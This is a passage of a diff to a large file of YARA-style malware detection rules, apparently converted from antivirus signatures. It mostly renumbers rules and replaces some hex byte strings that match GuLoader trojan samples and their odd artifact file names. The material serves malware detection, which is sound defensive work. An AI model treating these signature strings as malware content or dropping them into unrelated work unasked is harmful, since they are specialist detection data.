1)*-14592+(#a_85_3 & 1)*80) >=1 } -rule _InfrastructureShared_17075{ +rule _InfrastructureShared_18198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -202819,7 +216398,7 @@ rule _InfrastructureShared_17075{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_7a_2 & 1)*24922+(#a_03_3 & 1)*1) >=2 } -rule _InfrastructureShared_17076{ +rule _InfrastructureShared_18199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -202830,7 +216409,7 @@ rule _InfrastructureShared_17076{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*31277) >=3 } -rule _InfrastructureShared_17077{ +rule _InfrastructureShared_18200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -202841,7 +216420,7 @@ rule _InfrastructureShared_17077{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*29194) >=3 } -rule _InfrastructureShared_17078{ +rule _InfrastructureShared_18201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -202858,7 +216437,7 @@ rule _InfrastructureShared_17078{ ((#a_77_0 & 1)*16675+(#a_46_1 & 1)*20291+(#a_20_2 & 1)*25943+(#a_70_3 & 1)*8993+(#a_00_4 & 1)*85+(#a_00_5 & 1)*100+(#a_00_6 & 1)*1+(#a_20_7 & 1)*0) >=3 } -rule _InfrastructureShared_17079{ +rule _InfrastructureShared_18202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -202870,7 +216449,7 @@ rule _InfrastructureShared_17079{ ((#a_70_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_00_3 & 1)*71) >=4 } -rule _InfrastructureShared_17080{ +rule _InfrastructureShared_18203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -202881,7 +216460,7 @@ rule _InfrastructureShared_17080{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28928) >=4 } -rule _InfrastructureShared_17081{ +rule _InfrastructureShared_18204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -202893,7 +216472,7 @@ rule _InfrastructureShared_17081{ ((#a_6f_0 & 1)*21539+(#a_90_2 & 1)*-256+(#a_8b_3 & 1)*30324) >=4 } -rule _InfrastructureShared_17082{ +rule _InfrastructureShared_18205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -202907,7 +216486,7 @@ rule _InfrastructureShared_17082{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_3 & 1)*97+(#a_69_4 & 1)*17967+(#a_00_5 & 1)*116) >=4 } -rule _InfrastructureShared_17083{ +rule _InfrastructureShared_18206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -202922,7 +216501,7 @@ rule _InfrastructureShared_17083{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*20292+(#a_74_2 & 1)*26626+(#a_52_5 & 1)*21320+(#a_65_6 & 1)*30050+(#a_00_7 & 1)*48) >=4 } -rule _InfrastructureShared_17084{ +rule _InfrastructureShared_18207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -202935,7 +216514,7 @@ rule _InfrastructureShared_17084{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*26994+(#a_00_2 & 1)*48+(#a_00_4 & 1)*65) >=5 } -rule _InfrastructureShared_17085{ +rule _InfrastructureShared_18208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -202945,7 +216524,7 @@ rule _InfrastructureShared_17085{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_17086{ +rule _InfrastructureShared_18209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -202962,7 +216541,7 @@ rule _InfrastructureShared_17086{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*29295+(#a_63_2 & 1)*25956+(#a_30_3 & 1)*12589+(#a_61_4 & 1)*14918+(#a_00_6 & 1)*117+(#a_00_7 & 1)*117+(#a_74_8 & 1)*26369) >=5 } -rule _InfrastructureShared_17087{ +rule _InfrastructureShared_18210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -202976,7 +216555,7 @@ rule _InfrastructureShared_17087{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_3 & 1)*114+(#a_00_4 & 1)*101+(#a_67_5 & 1)*26746) >=6 } -rule _InfrastructureShared_17088{ +rule _InfrastructureShared_18211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -202992,7 +216571,7 @@ rule _InfrastructureShared_17088{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28519+(#a_74_2 & 1)*28005+(#a_2e_3 & 1)*27763+(#a_00_4 & 1)*88+(#a_61_5 & 1)*28484+(#a_74_6 & 1)*25972) >=7 } -rule _InfrastructureShared_17089{ +rule _InfrastructureShared_18212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -203007,7 +216586,7 @@ rule _InfrastructureShared_17089{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*107+(#a_00_3 & 1)*90+(#a_00_4 & 1)*66+(#a_65_5 & 1)*29793+(#a_65_6 & 1)*25902) >=7 } -rule _InfrastructureShared_17090{ +rule _InfrastructureShared_18213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -203020,7 +216599,7 @@ rule _InfrastructureShared_17090{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*8289+(#a_6c_2 & 1)*26999+(#a_3a_3 & 1)*24938) >=8 } -rule _InfrastructureShared_17091{ +rule _InfrastructureShared_18214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -203036,7 +216615,7 @@ rule _InfrastructureShared_17091{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*13620+(#a_00_3 & 1)*111+(#a_00_4 & 1)*29285+(#a_74_5 & 1)*26369+(#a_35_6 & 1)*17220+(#a_53_7 & 1)*13925) >=8 } -rule _InfrastructureShared_17092{ +rule _InfrastructureShared_18215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -203046,14 +216625,14 @@ rule _InfrastructureShared_17092{ $a_65_2 = {34 53 74 72 69 6e 67 01 00 0a 81 01 43 69 70 68 65 72 4d 6f 64 65 01 00 12 81 01 53 79 6d 6d 65 74 72 69 63 41 6c 67 6f 72 69 74 68 6d 01 00 2b 81 01 37 49 77 44 73 71 77 33 6a 56 33 4d 77 62 62 6f 6f 47 4a 6d 79 66 68 30 39 4e 66 31 50 4c 50 6f 39 67 33 48 47 58 43 66 31 31 49 01 00 0b 81 01 54 69 63 20 54 61 63 20 54 6f 65 01 00 13 81 01 76 } //24898 $a_65_3 = {20 64 65 74 74 61 20 70 61 72 74 69 21 00 00 78 20 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 31 36 30 35 32 33 21 4d 54 42 00 01 00 18 01 28 5c 42 65 73 70 69 73 65 72 5c 4e 6f 6e 63 6f 6d 62 75 73 74 69 6f 6e 01 00 16 01 6f 66 74 77 61 72 65 5c 53 6b 72 75 6d 6c 65 6b 61 73 } //28265 $a_73_4 = {00 12 01 65 73 74 61 75 72 61 74 69 6f 6e 73 6b 6b 6e 65 72 73 01 00 21 01 28 5c 44 65 73 69 64 65 72 74 61 5c 4c 72 6b 65 73 70 6f 72 65 5c 4e 65 75 72 6f 63 79 74 6f 6d 61 01 00 09 01 35 38 32 33 31 37 37 36 34 01 00 1f 01 6f 66 74 77 61 72 65 5c 56 61 73 74 69 6e 65 73 73 32 33 5c 46 64 73 65 6c 73 76 65 65 6e 5c 01 00 20 01 36 5c 4d 61 } //25971 - $a_61_5 = {69 73 65 64 5c 42 72 6f 6d 64 65 74 73 5c 63 6f 79 6c 79 2e 43 68 61 01 00 16 81 01 64 74 6a 65 6e 74 65 73 20 75 64 6b 6c 69 70 70 65 72 2e 65 78 65 01 00 10 81 01 61 6e 74 68 6f 73 69 73 20 42 61 72 62 65 72 61 00 00 78 20 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f } //24931 - $a_72_6 = {4b 57 57 52 31 32 33 21 4d 54 42 00 01 00 13 81 01 69 76 79 77 65 65 64 20 70 6f 73 74 72 65 74 69 6e 61 6c 01 00 0a 81 01 6c 61 76 65 6e 65 72 67 69 73 01 00 15 81 01 77 69 6c 63 6f 78 20 73 65 71 75 65 6e 74 69 61 6c 69 7a 65 73 01 00 0e 81 01 61 6e 62 65 66 61 6c 69 6e 67 65 72 6e 65 01 00 24 81 01 } //25697 - $a_65_7 = {6f 6e 69 73 6b 5c 70 72 76 65 6c 73 65 6e 73 5c 6e 6f 6e 65 63 6c 65 63 74 69 63 61 6c 6c 79 01 00 23 81 01 53 6f 66 74 77 61 72 65 5c 4d 61 61 6e 65 64 73 76 69 73 65 5c 6b 72 61 66 74 66 75 6c 64 68 65 64 65 6e 01 00 10 81 01 25 73 70 72 65 74 25 5c 74 72 65 61 64 6c 65 72 01 00 0d 81 01 } //25692 + $a_61_5 = {69 73 65 64 5c 42 72 6f 6d 64 65 74 73 5c 63 6f 79 6c 79 2e 43 68 61 01 00 16 81 01 64 74 6a 65 6e 74 65 73 20 75 64 6b 6c 69 70 70 65 72 2e 65 78 65 01 00 10 81 01 61 6e 74 68 6f 73 69 73 20 42 61 72 62 65 72 61 00 00 78 20 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //24931 + $a_47_6 = {4c 6f 61 64 65 72 2e 53 53 4e 21 4d 54 42 00 01 00 16 81 01 5c 6f 76 65 72 62 6f 75 6e 64 5c 73 70 6c 69 64 73 65 6e 64 65 73 01 00 14 81 01 } //12851 + $a_63_7 = {61 72 69 6d 65 74 72 69 63 61 6c 2e 6a 70 67 01 00 15 81 01 53 70 69 6c 6c 65 61 75 74 6f 6d 61 74 65 6e 34 33 2e 74 78 74 01 00 16 81 01 54 6a 65 6e 65 73 74 65 66 6f 72 68 6f 6c 64 73 37 32 2e 66 65 69 01 00 0f 81 01 56 61 73 6b 62 61 72 65 31 30 37 2e 68 65 61 01 00 0c 81 01 61 6d 6f 72 61 6c } //24915 condition: - ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*17205+(#a_65_2 & 1)*24898+(#a_65_3 & 1)*28265+(#a_73_4 & 1)*25971+(#a_61_5 & 1)*24931+(#a_72_6 & 1)*25697+(#a_65_7 & 1)*25692) >=8 + ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*17205+(#a_65_2 & 1)*24898+(#a_65_3 & 1)*28265+(#a_73_4 & 1)*25971+(#a_61_5 & 1)*24931+(#a_47_6 & 1)*12851+(#a_63_7 & 1)*24915) >=8 } -rule _InfrastructureShared_17093{ +rule _InfrastructureShared_18216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -203066,12 +216645,31 @@ rule _InfrastructureShared_17093{ $a_01_5 = {36 5c 4d 61 63 61 64 61 6d 69 73 65 64 5c 42 72 6f 6d 64 65 74 73 5c 63 6f 79 6c 79 2e 43 68 61 } //1 6\Macadamised\Bromdets\coyly.Cha $a_81_6 = {64 74 6a 65 6e 74 65 73 20 75 64 6b 6c 69 70 70 65 72 2e 65 78 65 } //1 dtjentes udklipper.exe $a_81_7 = {61 6e 74 68 6f 73 69 73 20 42 61 72 62 65 72 61 } //1 anthosis Barbera - $a_20_8 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 57 57 52 31 32 33 21 4d 54 42 00 01 00 13 81 01 69 76 79 77 65 65 64 20 70 6f 73 74 72 65 74 69 6e 61 6c 01 00 0a 81 01 6c 61 76 65 6e 65 72 67 69 73 01 00 15 81 01 77 69 6c 63 6f 78 20 73 65 71 75 65 6e 74 69 61 6c 69 7a 65 73 01 00 0e 81 01 61 6e 62 65 66 61 6c 69 6e } //0 + $a_20_8 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 4e 21 4d 54 42 00 01 00 16 81 01 5c 6f 76 65 72 62 6f 75 6e 64 5c 73 70 6c 69 64 73 65 6e 64 65 73 01 00 14 81 01 53 61 63 63 68 61 72 69 6d 65 74 72 69 63 61 6c 2e 6a 70 67 01 00 15 81 01 53 70 69 6c 6c 65 61 75 74 6f 6d 61 74 65 6e 34 33 2e 74 } //0 condition: ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_20_8 & 1)*0) >=9 } -rule _InfrastructureShared_17094{ +rule _InfrastructureShared_18217{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 4e 21 4d 54 42 00 01 00 16 81 01 5c 6f 76 65 72 62 6f 75 6e 64 5c 73 70 6c 69 64 73 65 6e 64 65 73 01 00 14 81 01 53 61 63 63 68 61 72 69 6d 65 74 72 69 63 61 6c 2e 6a 70 67 } //18467 + $a_81_1 = {53 70 69 6c 6c 65 61 75 74 6f 6d 61 74 65 6e 34 33 2e 74 78 74 } //1 Spilleautomaten43.txt + $a_81_2 = {54 6a 65 6e 65 73 74 65 66 6f 72 68 6f 6c 64 73 37 32 2e 66 65 69 } //1 Tjenesteforholds72.fei + $a_81_3 = {56 61 73 6b 62 61 72 65 31 30 37 2e 68 65 61 } //1 Vaskbare107.hea + $a_81_4 = {61 6d 6f 72 61 6c 73 6b 2e 6a 70 67 } //1 amoralsk.jpg + $a_81_5 = {61 71 75 61 70 6c 61 6e 65 2e 74 78 74 } //1 aquaplane.txt + $a_81_6 = {70 6f 6c 69 74 69 69 6e 73 70 65 6b 74 72 65 72 73 2e 74 78 74 } //1 politiinspektrers.txt + $a_81_7 = {5c 6a 75 62 69 6c 65 72 65 72 2e 69 6e 69 } //1 \jubilerer.ini + $a_81_8 = {5c 72 65 74 75 72 66 6c 61 73 6b 65 72 5c 53 6b 69 66 74 65 6c 61 61 73 65 73 31 31 37 2e 69 6e 69 } //1 \returflasker\Skiftelaases117.ini + $a_20_9 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 57 57 52 31 32 33 21 4d 54 42 00 01 00 13 81 01 69 76 79 77 65 65 64 20 70 6f 73 74 72 65 74 69 6e 61 6c 01 00 0a 81 01 6c 61 76 65 6e 65 72 67 69 73 01 00 15 81 01 77 69 6c 63 6f 78 20 73 65 71 75 65 6e 74 69 61 6c 69 7a 65 73 01 00 0e 81 01 61 6e 62 65 66 61 6c 69 6e } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_20_9 & 1)*0) >=10 + +} +rule _InfrastructureShared_18218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -203090,7 +216688,7 @@ rule _InfrastructureShared_17094{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28261+(#a_72_2 & 1)*23589+(#a_45_3 & 1)*28483+(#a_33_4 & 1)*26967+(#a_63_5 & 1)*29264+(#a_39_6 & 1)*13123+(#a_6f_7 & 1)*20526+(#a_6e_8 & 1)*28013+(#a_01_9 & 1)*1) >=10 } -rule _InfrastructureShared_17095{ +rule _InfrastructureShared_18219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0a 00 21 " @@ -203108,7 +216706,7 @@ rule _InfrastructureShared_17095{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*26979+(#a_70_2 & 1)*16717+(#a_30_3 & 1)*11873+(#a_37_4 & 1)*12614+(#a_72_5 & 1)*29282+(#a_01_6 & 1)*1+(#a_20_7 & 1)*0+(#a_00_9 & 1)*111) >=19 } -rule _InfrastructureShared_17096{ +rule _InfrastructureShared_18220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 09 00 21 " @@ -203124,7 +216722,7 @@ rule _InfrastructureShared_17096{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*13893+(#a_79_2 & 1)*24946+(#a_00_4 & 1)*100+(#a_6e_5 & 1)*22330+(#a_00_6 & 1)*111+(#a_00_7 & 1)*32) >=21 } -rule _InfrastructureShared_17097{ +rule _InfrastructureShared_18221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 08 00 21 " @@ -203139,7 +216737,7 @@ rule _InfrastructureShared_17097{ ((#a_6e_0 & 1)*21027+(#a_00_2 & 1)*121+(#a_00_3 & 1)*32+(#a_83_5 & 1)*17803+(#a_64_6 & 1)*26958+(#a_02_7 & 1)*3) >=100 } -rule _InfrastructureShared_17098{ +rule _InfrastructureShared_18222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -203153,7 +216751,7 @@ rule _InfrastructureShared_17098{ ((#a_54_0 & 1)*18467+(#a_c7_1 & 1)*19849+(#a_c7_3 & 1)*4608+(#a_15_4 & 1)*0+(#a_4c_5 & 1)*8993) >=1 } -rule _InfrastructureShared_17099{ +rule _InfrastructureShared_18223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -203168,7 +216766,7 @@ rule _InfrastructureShared_17099{ ((#a_54_0 & 1)*18467+(#a_10_1 & 1)*-28672+(#a_00_2 & 1)*20516+(#a_46_3 & 1)*16675+(#a_00_5 & 1)*66+(#a_00_7 & 1)*114) >=1 } -rule _InfrastructureShared_17100{ +rule _InfrastructureShared_18224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -203179,7 +216777,7 @@ rule _InfrastructureShared_17100{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*66) >=2 } -rule _InfrastructureShared_17101{ +rule _InfrastructureShared_18225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -203192,7 +216790,7 @@ rule _InfrastructureShared_17101{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_72_2 & 1)*22364+(#a_5f_3 & 1)*24937) >=2 } -rule _InfrastructureShared_17102{ +rule _InfrastructureShared_18226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -203204,7 +216802,7 @@ rule _InfrastructureShared_17102{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*114+(#a_4e_2 & 1)*10496) >=3 } -rule _InfrastructureShared_17103{ +rule _InfrastructureShared_18227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -203215,7 +216813,7 @@ rule _InfrastructureShared_17103{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*80) >=3 } -rule _InfrastructureShared_17104{ +rule _InfrastructureShared_18228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -203230,7 +216828,7 @@ rule _InfrastructureShared_17104{ ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*28463+(#a_6c_2 & 1)*29811+(#a_42_3 & 1)*29793+(#a_67_4 & 1)*24948+(#a_65_5 & 1)*25701) >=3 } -rule _InfrastructureShared_17105{ +rule _InfrastructureShared_18229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -203244,7 +216842,7 @@ rule _InfrastructureShared_17105{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*25701+(#a_67_2 & 1)*25903+(#a_61_3 & 1)*272+(#a_75_4 & 1)*28233) >=3 } -rule _InfrastructureShared_17106{ +rule _InfrastructureShared_18230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -203255,7 +216853,7 @@ rule _InfrastructureShared_17106{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*53) >=4 } -rule _InfrastructureShared_17107{ +rule _InfrastructureShared_18231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -203268,7 +216866,7 @@ rule _InfrastructureShared_17107{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12297+(#a_72_2 & 1)*28271+(#a_39_3 & 1)*12378) >=4 } -rule _InfrastructureShared_17108{ +rule _InfrastructureShared_18232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -203280,7 +216878,7 @@ rule _InfrastructureShared_17108{ ((#a_54_0 & 1)*18467+(#a_5b_1 & 1)*0+(#a_11_3 & 1)*9473) >=4 } -rule _InfrastructureShared_17109{ +rule _InfrastructureShared_18233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -203294,7 +216892,7 @@ rule _InfrastructureShared_17109{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*9284+(#a_24_2 & 1)*-30392+(#a_0f_3 & 1)*0+(#a_68_4 & 1)*24909) >=5 } -rule _InfrastructureShared_17110{ +rule _InfrastructureShared_18234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -203307,7 +216905,7 @@ rule _InfrastructureShared_17110{ ((#a_55_0 & 1)*18467+(#a_74_1 & 1)*26473+(#a_20_2 & 1)*11552+(#a_23_3 & 1)*7) >=5 } -rule _InfrastructureShared_17111{ +rule _InfrastructureShared_18235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -203323,7 +216921,7 @@ rule _InfrastructureShared_17111{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*24900+(#a_00_2 & 1)*106+(#a_57_3 & 1)*27759+(#a_75_4 & 1)*25964+(#a_78_5 & 1)*11890+(#a_01_6 & 1)*29555) >=5 } -rule _InfrastructureShared_17112{ +rule _InfrastructureShared_18236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -203339,7 +216937,7 @@ rule _InfrastructureShared_17112{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24932+(#a_6a_3 & 1)*18689+(#a_31_4 & 1)*21038+(#a_73_5 & 1)*21038+(#a_69_6 & 1)*26989+(#a_53_7 & 1)*24940) >=6 } -rule _InfrastructureShared_17113{ +rule _InfrastructureShared_18237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -203355,7 +216953,7 @@ rule _InfrastructureShared_17113{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29264+(#a_69_2 & 1)*26989+(#a_53_3 & 1)*24940+(#a_00_4 & 1)*123+(#a_01_5 & 1)*-28561+(#a_90_6 & 1)*2560) >=7 } -rule _InfrastructureShared_17114{ +rule _InfrastructureShared_18238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 21 " @@ -203367,7 +216965,7 @@ rule _InfrastructureShared_17114{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*10250+(#a_4c_2 & 1)*24949) >=8 } -rule _InfrastructureShared_17115{ +rule _InfrastructureShared_18239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -203383,7 +216981,7 @@ rule _InfrastructureShared_17115{ ((#a_46_0 & 1)*16675+(#a_59_1 & 1)*20822+(#a_47_3 & 1)*19713+(#a_50_4 & 1)*24940+(#a_78_5 & 1)*385+(#a_34_6 & 1)*14386+(#a_6f_7 & 1)*29806) >=8 } -rule _InfrastructureShared_17116{ +rule _InfrastructureShared_18240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -203400,7 +216998,7 @@ rule _InfrastructureShared_17116{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28530+(#a_6c_3 & 1)*385+(#a_69_4 & 1)*14930+(#a_65_5 & 1)*26482+(#a_01_6 & 1)*26996+(#a_54_7 & 1)*8522+(#a_6f_8 & 1)*11874) >=9 } -rule _InfrastructureShared_17117{ +rule _InfrastructureShared_18241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -203418,7 +217016,7 @@ rule _InfrastructureShared_17117{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*29557+(#a_61_2 & 1)*23653+(#a_6f_3 & 1)*8293+(#a_6e_4 & 1)*27247+(#a_75_5 & 1)*29801+(#a_65_6 & 1)*29300+(#a_33_7 & 1)*26967+(#a_69_8 & 1)*28257) >=9 } -rule _InfrastructureShared_17118{ +rule _InfrastructureShared_18242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -203437,7 +217035,7 @@ rule _InfrastructureShared_17118{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24946+(#a_73_2 & 1)*29230+(#a_47_3 & 1)*12851+(#a_73_4 & 1)*25972+(#a_6d_5 & 1)*29557+(#a_61_6 & 1)*24936+(#a_67_7 & 1)*29808+(#a_33_8 & 1)*-32761+(#a_46_9 & 1)*12915) >=10 } -rule _InfrastructureShared_17119{ +rule _InfrastructureShared_18243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -203456,7 +217054,7 @@ rule _InfrastructureShared_17119{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*20316+(#a_00_2 & 1)*27765+(#a_62_3 & 1)*385+(#a_54_4 & 1)*18467+(#a_6e_5 & 1)*29808+(#a_34_6 & 1)*13126+(#a_64_7 & 1)*27770+(#a_02_8 & 1)*-28432+(#a_41_9 & 1)*9332) >=10 } -rule _InfrastructureShared_17120{ +rule _InfrastructureShared_18244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -203480,7 +217078,7 @@ rule _InfrastructureShared_17120{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29808+(#a_34_2 & 1)*13126+(#a_64_3 & 1)*27770+(#a_02_4 & 1)*-28432+(#a_41_5 & 1)*9332+(#a_4c_6 & 1)*-9421+(#a_63_7 & 1)*19770+(#a_35_8 & 1)*14389+(#a_42_9 & 1)*14133+(#a_46_10 & 1)*12597+(#a_54_11 & 1)*18490+(#a_fd_13 & 1)*21248+(#a_ff_14 & 1)*400+(#a_ff_15 & 1)*769) >=16 } -rule _InfrastructureShared_17121{ +rule _InfrastructureShared_18245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -203490,7 +217088,7 @@ rule _InfrastructureShared_17121{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_17122{ +rule _InfrastructureShared_18246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -203505,7 +217103,7 @@ rule _InfrastructureShared_17122{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*13379+(#a_35_2 & 1)*16705+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_22_5 & 1)*0) >=1 } -rule _InfrastructureShared_17123{ +rule _InfrastructureShared_18247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -203518,7 +217116,7 @@ rule _InfrastructureShared_17123{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*769+(#a_00_2 & 1)*114+(#a_70_4 & 1)*14848) >=2 } -rule _InfrastructureShared_17124{ +rule 